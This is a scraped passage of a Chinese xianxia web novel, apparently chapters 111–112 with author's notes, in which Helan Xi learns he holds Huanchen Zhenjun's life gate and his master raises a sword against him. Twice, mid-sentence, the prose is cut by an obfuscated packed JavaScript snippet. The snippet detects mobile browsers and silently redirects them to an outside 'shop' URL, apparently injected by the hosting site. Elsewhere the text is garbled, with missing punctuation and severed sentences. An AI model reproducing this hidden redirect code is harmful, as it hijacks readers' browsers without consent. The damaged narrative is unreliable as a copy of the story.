司契真君点了点头,还不忘谴责地瞪了绯月真君一眼:“第一份契约对宋流纾来说过于苛刻,要是不做修改,他在幻境里肯定活不了一个时辰。契约修改后,宋流纾和沈絮之违背彼此相关契约的代价并非在考核中死亡,而是……” “嘘。”绯月真君擦去唇边鲜血,微微一笑:“不能告诉孩子们,这太丢脸了。” 白观宁面无表情地叫了声“师尊”,问:“师尊,您吐的血是真的吗?” “自然是真的。”绯月真君说,“不然我还能吐什么。” 白观宁看绯月真君的眼神充满了不信任。 “话说,鬼七就这么没了吗?”长孙策蹲在律理法典旁好一通观察,“他是被砸死了还是逃走了?” 宋玄机:“嗯。” 长孙策:“?你这个‘嗯’似乎并没有回答我的问题。” “没那么简单。”司契真君走向法典,表情稍显凝重:“——宋流纾。” 绯月真君将浣尘真君的肉身交给贺兰熹看护,欣赏了一会儿小宝贝抱着大宝贝的画面,才不慌不忙地站起身道:“怎么了。” 司契真君:“那份四人契约,只有你和沈絮之的部分做了更改。” 换言之,其他人倘若违背了契约,在现有规则下依然难逃一死。 绯月真君轻一点头:“我知道。不必忧心,那可是江隐舟,他会有办法的。” 贺兰熹让浣尘真君靠在自己的肩膀,小心翼翼地为他擦去了脸上的血迹,又替他理了理稍显凌乱的金簪流苏。 小的时候,浣尘真君抱过他;现在,换他来抱浣尘真君了。 他 完全不记得自己和浣尘真君的过往没人能记得婴儿时期发生的事情。可不知为何他总觉得他和浣尘真君已经认识很久很久了。 他和浣尘真君究竟是什么关系? “——是不是觉得他很熟悉?” 身后猝然响起阎狴的声音贺兰熹猛地转身只见消散的混沌重新汇聚成人形的上半身下半身仍是一团无规则运动的杂乱。 长孙策:“呔你果然没死!” 祝如霜:“绯月司契二位真君均在鬼七你已无路可退。” 阎狴对策云二人的置若罔闻。他飘在贺兰熹眼前居高临下道:“你应该觉得熟悉。没有沈吟你根本活不下来。” 才被绯月真君说了的贺兰熹不想和敌人废话太多但阎狴一副胸有成竹的知情者模样说的又是他极其在意的事情 “‘生的’?”阎狴哈哈大笑起来“你要这么说也没错。” 贺兰熹:“……谁信你。” “不必理他时雨我在你和沈絮之身上用过寻源术你们没有任何血缘关系。”绯月真君这个时候倒不开他最热衷开的玩笑了“你先带着大家离开此地其他的交给我们。” 阎狴看向绯月真君像是抓到了什么破绽死死不放:“你不觉得奇怪吗?不久前你带着沈絮之的肉身在鬼界找到了沈絮之的魂魄你百般尝试却怎么都没办法让他魂体合一。你有没有想过为什么?” 绯月真君眯起眼睛:“我似乎看错你了你比时雨还喜欢废话。” 贺兰熹隐隐意识到了答案。他刚要开口忘川三途便呼啸而过从阎狴的胸口一剑穿出轰地将他钉在了断裂的石柱上。 宋玄机冷冷道:“我不知道二位真君还在等什么。” 宋玄机虽然用了尊称语气却称不上尊敬。看着他情绪难辨的脸贺兰熹觉得自己好像产生了错觉他怎么觉得宋玄机……在着急呢? 宋玄机不想阎狴继续说下去为什么? 难道是因为、因为—— 司契真君召回法典露出下面被压扁的傀儡:“没用的这只是阎狴的傀儡分/身。他的本体怕是在封印解开后便离开了幻境。” 一个傀儡分/身竟然能发动【幻昼】,可见这个分/身至少继承了阎狴一半以上的实力。消灭了这个傀儡,无论阎狴的本体在哪里,他都要失去这一半的修为。 阎狴被钉在石柱上,下半身的混沌犹如即将熄灭的火焰奄奄一息,笑声却越发放肆狂妄:“还不明白吗?因为沈絮之把他的【生门】给了贺兰熹啊!” 贺兰熹瞳孔骤然紧缩,大脑一片空白。 生而为人,魂魄,肉身,生门缺一不可。生门不但是魂魄和肉身的链接之处,是阳寿的源泉,更是一个人活着的凭证。 他之所以活在世间,是因为……浣尘真君把自己的生门给了他? 他一出生,浣尘真君便离开了人间。 他活了十八年,浣尘真君消失了十八年。 是他抢了浣尘真君的阳寿,他身上有浣尘真君生门的气息,所以才会被分院阵法误认为他适合修无情道。 浣尘真君为什么要这么做?为什么要把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408528|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活着的机会给留他? 因为他不是人吗?那他是什么? 他是不是已经死了,他是不是早就失去了活着的资格。 贺兰熹垂下眼睛,望着浣尘真君睡着了一般的容颜,心口很慢很慢地疼了起来。 只要他活着,浣尘真君就永远不可能回来。 ——是这样吗? “沈絮之和贺兰时雨不能同时存在于阳间,”阎狴用残缺的身体盯着或沉默或惊愕的众人,不想错过他们脸上任何的变化。他看到宋玄机眉间微微蹙了起来,满意地咧开嘴角:“他们之中,只能活一个。” “江隐舟想要遵守契约让所有人都活下来,他就必须——”阎狴一字一句道,“杀了贺兰熹。” “不可能!”祝如霜的脸色惨白如纸,脱口而出道:“师尊绝对不会这么做!” “他会的,”阎狴冲贺兰熹低低地笑了起来,“不像你,江隐舟可是货真价实的无情道啊。” 贺兰熹张了张嘴,他想说话,他明明那么喜欢说话,可他什么都说不出来。 他想到了分院那天江院长说的唯一一句话:“贺兰熹是我的弟子,死生同命,无可更改。” 他想到了绯月真君在他和宋玄机找到浣尘真君的肉身后说:“最不能告知的便是江隐舟。” 为什么……他们为什么要这么说? “这都是什么跟什么。”长孙策异常烦躁地说,“就算贺兰熹的生门是浣尘真君的又怎么样?浣尘真君这么做肯定有他的理由。浣尘真君不想回来我们总不能逼他回来吧!” 白观宁沉声道:“这些不过是鬼七的一面之词,你们还真信了?” 萧问鹤道:“时雨你别担心,万一你真是什么灵兽所化,我一定能把你喂得白白胖胖!” …… 大家都在说话,贺兰熹看着他们的嘴唇一张一合,却奇异地听不清他们在说什么。 恍惚中,他只能看到宋玄机注视着他的面容。 突然,他听见了剑鸣的声音,由远及近,巨大的压迫感让他几乎喘不过气来。 那是九州寂灭的声音——他师尊来了。 作者有话要说 怕大家担心先说一下(剧透预警): ——————————————————————— ——————————————————————— ——————————————————————— ——————————————————————— 小甜豆没有浣尘的生门才能活出强大,活出自我;两个宋夫人都会好好的; 小情侣也不会分开 第 112 章 【修】 第112章【修】 除贺兰熹外,其他人也陆续感觉到了九州寂灭带来的威压。 阎狴的兴奋在这一刻达到了巅峰。 区区一个宋流纾远不值得他以半条命为代价耗尽心血设下此局,他的最终目标一直是那个少年。 贺兰熹必须消失。 他要亲眼看着贺兰熹死在自己的师尊剑下。 江隐舟——江沉,无情道天命之人,他不会对贺兰熹产生一丝一毫的师徒之情。 就像江沉曾经欲不顾祝如霜身上彼岸印的威胁对鬼十三下死手一样,这一回,他一定也会—— 空间被撕出一条裂缝,江隐舟的轮廓模糊了片刻,全然展现在众人眼前。 时间未曾在江隐舟身上留下痕迹,宋流纾看着他,只觉得他和少年时期没有区别。 沉默寡言,冷酷无情,宛若寒霜凝聚而成的雕像,全然不具备活人应有的七情六欲。 说起来,沈絮之除了在床上,不也是和江隐舟一样冷得不像人么。 若没有贺兰时雨,他的小侄子亦会变成江隐舟的样子。 无情道中人,本该如此。 江隐舟潜心修道十八载,不是在闭关就是在准备闭关,其修为恐怕已经超过了当初的浣尘真君。 如今,江隐舟才是当之无愧的三界第一人。 江隐舟的视线没有在他们任何人身上停留,哪怕是把太华宗搅得天翻地覆的阎狴也不值得他多看一眼。 众人默契地沉默着,直到司契真君忍不住率先开口:“你已经全部知道了?” 江隐舟没有回答,答案不言而喻。 阎狴早已做好了将一半的分/身折在此处的打算,用半条命换贺兰熹的命,再换宋浔和无情道院反目成仇,他稳赚不赔。 太华宗诸人或有畏惧或有顾忌,他却可以肆无忌惮地向威震三界的江隐舟叫嚣:“江沉,你也不想——” 话音戛然而止。 剑光闪过,阎狴的分/身和他的未尽之言一起,于顷刻间灰飞烟灭。 所有人都没看见谁出的手,所有人都知道是谁出的手。 幻境也好,现世也罢,诚如九州寂灭之名,一切归于沉寂。 第一次目睹江院长真正出手的少年们一个个噤若寒蝉,大气不敢喘。 明知道江院长是自己人,陆执理还是情不自禁地往自家院长的方向靠了靠; 长孙策在祝如霜身边站得笔直,琢磨着自己在江院长剑下能活多久; 白观宁和萧问鹤屏息凝神,饶是曾经和江院长是同窗的司契真君也沉默了下来。 在场众人,唯有宋流纾依旧谈笑自若。“干得不错,很利落。”宋流纾抚掌笑道,“接下来,麻烦你去处理一下被扭曲的契约,江院长?” 宋流纾酷爱调笑无情道的嗜好多年未改。他的玩笑或许能换来沈絮之的禁言,却从来得不到江隐舟的回应。 江隐舟视线的落点来到了明法仙君的神座上。 明法神像,掌天地法则,召三界律理。阎狴之所以能扭曲契约的规则,一定是在明法神像上动了手脚。 江隐舟脚下凭空出现了一块块坚冰化成的透明阶梯,随着江隐舟的步伐,一路消失重现,直逼天幕。 江隐舟单手执剑,拾级而上,一步步朝明法神像走去。 走至尽头,江隐舟停下了脚步。他的身躯如履平地地悬停在空中,和明法神像捧着法典的手掌一般大小。 四周安静得没有一丝风,江隐舟的道袍纹丝未动,磅礴的灵力开始在九州寂灭上积蓄。 司契真君突然意识到了什么,脸色大变:“等等,你不能……” “晚了,无情道院长只会使用最简单最快的办法。”宋流纾眺望着天际,神色难得严肃:“他们从不被人威胁。”宋流纾转过身来,嫣然一笑:“当然,除我之外。” 轰—— 明法神像在宋流纾身后猝然崩析。 刹那间,剑光遮天蔽日,山峦摇晃,强大的灵力突破幻境与现世的交界,宛若一只可翻山海的手,令十二道院同时为之震颤。 幻境外,无情道冰层破,合欢月桂落,太善之水掀起狂浪千道,迷津渡和食肆的墙壁上出现一条条触目惊心的裂痕。 幻境内,光芒与尘雾交织,无数飞溅的灵石如暴雨般浇下。白观宁一边躲避碎石,一边大喊:“哥!哥你在哪里?!” 明法仙君的法典一角直冲祝如霜而来,祝如霜来不及躲闪,本能地抬起胳膊 想护住脑袋不料却却拉入了一个宽大炙热的胸膛。 灵石结结实实地撞上了长孙策的后背差点把他撞得吐血。眼看第二块灵石接踵而至长孙策怒骂一声将其劈了个粉碎。 这时一个结界不知从哪里长了出来散发着淡淡的蓝色微光为策云二人将碎石全挡了回去。 他们认得这个结界他们似乎已经被这个结界保护过很多次了。 长孙策一怔:“贺兰熹?” 这都什么时候了贺兰熹居然还惦记着他们? 混乱中祝如霜找不到贺兰熹和宋玄机的身影他只能看到贺兰熹的结界不像往常那般无坚不摧在灵石不断地撞击下已然有了破绽。 “结界如其主。”祝如霜在长孙策怀中闭上了眼睛:“时雨……” 现在的你是不是很难过? 丢出结界的贺兰熹愣在原地他不知道自己除了保护朋友还能做些什么。 他的神思太过恍惚一切发生得如此之快他真的不知道该怎么办了。 对了他还要保护好浣尘真君的肉身。 浣尘真君很重要比他……重要。浣尘真君的归来比他的存在更有价值。 “别怕”一只手落在了他的头顶宋玄机单膝跪在他面前:“还记得吗?我很厉害。” 贺兰熹直直地看着宋玄机像是要把他这一刻的模样刻印脑海中一般。忽然他莞尔一笑眼中像是重新焕发出了生机:“记得宋浔很厉害!” 贺兰熹在宋玄机掌心乖巧地蹭了蹭喉结轻轻一滚。 可是宋浔最厉害的……一直是我们师尊啊。 碎石越来越多司契真君划出一大片更大的结界将少年们全罩了进去。 震耳欲聋的轰鸣声自神像内部而起 九州寂灭剑斩神像。 此举无疑惹怒了天道整个太华宗境内都被迫承受着神明的愤怒。 乌云滚滚狂风呼啸一道道天雷如同咆哮的巨龙打在江隐舟一人身上其景象之壮观堪比渡劫飞升。 江隐舟立于雷阵的正中心灵力和剑气在他周身形成护体冰蓝色的屏障。天雷 摧枯拉朽,足以毁灭世间万物,江隐舟却一动未动,神色始终没有变化。 在天雷的洗礼下,屏障的颜色越来越淡,逐渐变得透明。最后一道天雷落下之前,屏障恰好完全消失。江隐舟微微抬眸,以近仙之躯直面神明的审判。 情急之下,贺兰熹脱口而出:“师尊! 雷光崩裂,天地乍然无色,视野中只剩下一片茫茫白光。 至此,神怒平息,余威尚存,江隐舟看似毫发无损,万年不动的眉心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408529|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却微不可见地皱了一下。 乌云散去,天幕再现,“贺兰时雨 宋玄机守在他身边,贺兰熹身上干干净净,四周也不见碎石灰尘。 司契真君最先反应过来,看着朝他们走来的江隐舟,见对方不像有事的样子才冷笑道:“江隐舟真这么做了。我们道院的神像,他怎么敢的?很好,我要告他。 “你自己就是律理道院的院长,你还要告到哪里去?绯月真君用息事宁人的口吻道,“神像没了可以再建,让无情道院出钱给你们建。 司契真君怒道:“这是钱的问题? 且不说灵石难寻,就算重建了神像,想要重聚明法仙君的神力也要个几百上千年。 这么重要的神像,也只有无情道院长敢说毁就毁了。 江隐舟像是没有听见两人的话,在贺兰熹面前停下了脚步——他还剩最后一个问题需要解决。 贺兰熹仰头望着高高在上的白衣青年,他们明明在对视,他却怎么也望不进师尊的眼底。 他该和师尊说些什么呢? 说他生门的事情?说他没有想抢浣尘真君的阳寿,说他对这一切毫不知情。 可有这个必要吗? 师尊他一切都知道。 江隐舟轻一抬手,将浣尘真君的肉身收入剑中。然后,他用九州寂灭的剑锋对准了贺兰熹的咽喉。 贺兰熹瞳孔散开,空落的双手无措地垂了下来:“……师尊? 众人骤然色变。 司契真君立刻上前一步:“江隐舟,你这是何意?契约的事情不是已经解决了吗? 江隐舟道:“物归原主,道法宿命。” 这是他至今为止,唯一说的一句话。 长孙策不知道哪来的勇气,竟然敢直接和江院长对话:“可这样贺兰熹可能会死啊!” “宋流纾你不说话吗?”司契真君厉声道,“难道你也想用贺兰熹的命换沈絮之回来?” 绯月真君若有所思道:“不,我只是在想,生门对贺兰时雨而言,究竟意味着什么。” “‘生门者,活人之印,阳寿之源’。”白观宁快速背诵,急出了一身冷汗:“除此之外,还能意味着什么?” 萧问鹤和陆执理刷地跪了下来:“请江院长三思!” 贺兰熹低头看着近在咫尺的九州寂灭,反而平静了下来。 他在干什么? 他是无情道的弟子,他在怕什么? 生门本来就是浣尘真君的,物归原主,天道如此。 他已经消耗了浣尘真君十八年的阳寿,他理应知足。 他只是不明白,江院长为何如此执着在此刻取下他的生门,为何不先找到浣尘真君的魂魄,把事情弄清楚后再使其肉身、魂魄、生门归一呢。 “师尊,你是不是有必须这么做的原因?”贺兰熹表现出的是一个无情道弟子应有的沉着冷静,“只要你告诉我一声,我愿意配合。” 江隐舟不需要向贺兰熹解释他已经回答过的问题。 九州寂灭再次扬起,这次斩得不是鬼界,也不是神像,而是在他遭遇雷劫时唯一因为担心唤了他一声“师尊”的弟子。 白观宁瞪大眼睛,哑然出声:“不要——!” 贺兰熹蓦地闭上了眼,预想的疼痛却没有到来。 他茫然地睁开眼,看到了一对剧烈晃动的金簪流苏。 ——宋玄机一剑挡下了江隐舟的九州寂灭。 作者有话要说 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的